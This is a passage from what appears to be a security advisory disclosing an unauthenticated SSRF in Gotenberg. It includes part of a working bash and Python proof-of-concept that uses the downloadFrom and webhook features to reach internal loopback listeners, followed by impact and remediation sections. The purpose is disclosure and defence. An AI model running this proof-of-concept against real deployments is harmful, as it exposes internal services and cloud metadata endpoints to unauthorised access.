Details
with LOG_PATH.open("a", encoding="utf-8") as f:
f.write(
f"{self.command} {self.path} len={len(body)} "
f"content-type={self.headers.get('Content-Type', '')}\n"
)
self.send_response(200)
self.end_headers()
do_PATCH = do_POST
do_PUT = do_POST
def log_message(self, fmt, *args):
return
def serve(addr, handler):
HTTPServer(addr, handler).serve_forever()
Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()
print("internal helper ready", flush=True)
Event().wait()
PY
blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
--name "$HELPER_NAME" \
--network "container:$GOTENBERG_NAME" \
-v "$TEST_PDF:/srv/page_1.pdf:ro" \
-v "$ARTIFACT_DIR:/work" \
-v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
python:3.11-alpine \
python /app/internal_helper.py >/dev/null
for _ in $(seq 1 20); do
if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
break
fi
sleep 1
done
if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
fail "Internal helper did not start"
fi
blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
curl -sS \
-o "$DOWNLOAD_JSON" \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
-F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"
if [[ "$download_status" != "200" ]]; then
cat "$DOWNLOAD_JSON" 2>/dev/null || true
fail "downloadFrom verification failed with HTTP $download_status"
fi
if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
cat "$DOWNLOAD_JSON" || true
fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi
green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"
blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
curl -sS \
-o /dev/null \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
-H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
-H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
-F "files=@$TEST_PDF"
)"
if [[ "$webhook_status" != "204" ]]; then
fail "webhook verification failed with HTTP $webhook_status"
fi
if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /upload was not hit"
fi
if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /events was not hit"
fi
green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"
blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log: %s\n' "$WEBHOOK_LOG"
printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"
printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"
printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'
### Impact
This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:
- Read content from internal HTTP endpoints through `downloadFrom`.
- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.
- Reach services bound only to localhost from the perspective of the Gotenberg host or container.
### Remediation
1. Normalize and structurally validate URLs before any allow-list or deny-list decision.
Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.
2. Replace regex-only private-address filtering with resolved IP validation.
Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.
3. Reconsider the security default for outbound URL features.
Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.